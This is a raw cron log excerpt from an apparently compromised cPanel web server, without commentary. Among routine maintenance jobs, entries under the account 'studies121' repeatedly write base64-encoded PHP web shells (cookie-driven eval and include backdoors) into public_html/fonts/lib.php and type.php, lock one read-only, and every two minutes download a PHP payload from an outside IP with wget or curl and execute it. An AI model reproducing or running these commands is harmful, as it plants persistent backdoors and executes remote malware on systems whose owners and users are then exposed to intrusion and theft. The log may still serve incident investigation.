Sep  8 08:50:01 ip-184-168-122-23 CROND[16919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:50:01 ip-184-168-122-23 CROND[16920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:50:01 ip-184-168-122-23 CROND[16923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:50:01 ip-184-168-122-23 CROND[16925]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:50:01 ip-184-168-122-23 CROND[16926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:50:01 ip-184-168-122-23 CROND[16924]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:50:01 ip-184-168-122-23 CROND[16931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:51:01 ip-184-168-122-23 CROND[17160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:51:01 ip-184-168-122-23 CROND[17161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:51:01 ip-184-168-122-23 CROND[17164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:51:01 ip-184-168-122-23 CROND[17162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:52:01 ip-184-168-122-23 CROND[17256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:52:01 ip-184-168-122-23 CROND[17259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:52:01 ip-184-168-122-23 CROND[17257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:52:01 ip-184-168-122-23 CROND[17258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:52:01 ip-184-168-122-23 CROND[17261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:53:01 ip-184-168-122-23 CROND[17365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:53:01 ip-184-168-122-23 CROND[17366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:53:01 ip-184-168-122-23 CROND[17369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:53:01 ip-184-168-122-23 CROND[17371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:54:01 ip-184-168-122-23 CROND[17489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:54:01 ip-184-168-122-23 CROND[17490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:54:01 ip-184-168-122-23 CROND[17496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:54:01 ip-184-168-122-23 CROND[17494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:54:01 ip-184-168-122-23 CROND[17495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:55:01 ip-184-168-122-23 CROND[17634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:55:01 ip-184-168-122-23 CROND[17635]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:55:01 ip-184-168-122-23 CROND[17637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:55:01 ip-184-168-122-23 CROND[17638]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:55:01 ip-184-168-122-23 CROND[17640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:55:01 ip-184-168-122-23 CROND[17639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:56:01 ip-184-168-122-23 CROND[17739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:56:01 ip-184-168-122-23 CROND[17740]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:56:01 ip-184-168-122-23 CROND[17742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:56:01 ip-184-168-122-23 CROND[17745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:56:01 ip-184-168-122-23 CROND[17744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:57:01 ip-184-168-122-23 CROND[17953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:57:01 ip-184-168-122-23 CROND[17952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:57:01 ip-184-168-122-23 CROND[17954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:57:01 ip-184-168-122-23 CROND[17955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:58:01 ip-184-168-122-23 CROND[18055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:58:01 ip-184-168-122-23 CROND[18057]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:58:01 ip-184-168-122-23 CROND[18060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:58:01 ip-184-168-122-23 CROND[18059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:58:01 ip-184-168-122-23 CROND[18058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:59:01 ip-184-168-122-23 CROND[18141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:59:01 ip-184-168-122-23 CROND[18142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:59:01 ip-184-168-122-23 CROND[18143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:59:01 ip-184-168-122-23 CROND[18145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:00:01 ip-184-168-122-23 CROND[18270]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 09:00:01 ip-184-168-122-23 CROND[18271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:00:01 ip-184-168-122-23 CROND[18272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:00:01 ip-184-168-122-23 CROND[18274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:00:01 ip-184-168-122-23 CROND[18277]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:00:01 ip-184-168-122-23 CROND[18276]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:00:01 ip-184-168-122-23 CROND[18275]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:00:01 ip-184-168-122-23 CROND[18278]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  8 09:00:01 ip-184-168-122-23 CROND[18279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:01:01 ip-184-168-122-23 CROND[18404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:01:01 ip-184-168-122-23 CROND[18406]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 09:01:01 ip-184-168-122-23 CROND[18409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:01:01 ip-184-168-122-23 CROND[18412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:01:01 ip-184-168-122-23 CROND[18411]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 09:01:01 ip-184-168-122-23 CROND[18410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18406]: starting 0anacron
Sep  8 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18428]: finished 0anacron
